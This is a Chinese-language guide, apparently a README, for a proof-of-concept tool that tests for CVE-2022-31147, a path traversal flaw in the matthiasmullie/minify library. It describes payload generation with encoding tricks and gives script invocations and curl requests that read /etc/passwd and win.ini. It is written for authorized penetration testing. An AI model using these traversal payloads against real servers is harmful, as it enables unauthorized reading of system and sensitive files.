本指南提供了针对 CVE-2022-31147 的全面测试方法,这是一个影响广泛使用的 matthiasmullie/minify 库的严重路径遍历漏洞。该漏洞允许攻击者利用 minify 端点中不充分的输入清理,在 Linux 和 Windows 服务器上实现任意文件读取。本指南面向安全专业人员、渗透测试人员以及希望评估 Web 应用对该威胁暴露情况的研究人员。
本指南的核心是一个自动化的 Python 概念验证脚本,它系统性地生成并测试多种遍历载荷。这些载荷利用不同深度的目录遍历(../)、多种编码方案(如 URL 编码和双重编码)以及端点变体(包括伪扩展名和查询参数),来绕过常见的路由和过滤机制。通过运用这些技术,该脚本能够在即使存在基础 Web 应用防火墙或自定义路由逻辑的环境下,最大程度地检测到易受攻击的配置。
检测准确性进一步通过内置的启发式规则得到增强,这些规则会分析响应内容中的已知文件标记。对于 Linux 目标,脚本会搜索 /etc/passwd 或其他敏感文件的典型模式;对于 Windows 系统,它会在 win.ini 等文件中寻找指示性内容。这种方法确保了成功利用能被可靠地识别,最大程度减少了误报,并简化了验证过程。
除了自动化测试,本指南还概述了使用 curl 的手动验证技术,使实践者能够构建并发送自定义请求以进行针对性分析,或独立验证发现结果。全程强调安全与授权测试的建议,包括仅在已获得明确许可的系统上进行评估的重要性。
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --linux --file /etc/passwd
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --windows --file C:\Windows\win.ini
在服务器上创建一个无害文件,然后尝试读取它:
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --file /var/www/test.txt
curl -i "https://yourdomain.tld/cdn/minify/../../../../../../etc/passwd"
curl -i "https://yourdomain.tld/cdn/minify/../../../../../../windows/win.ini"
curl -i "https://yourdomain.tld/cdn/minify/%2e%2e/../%2e%2e/../../etc/passwd"
curl -i "https://yourdomain.tld/cdn/minify/../../../../../../etc/passwd.css"
https://yourdomain.tld/cdn/minify 替换为您的实际目标 URL。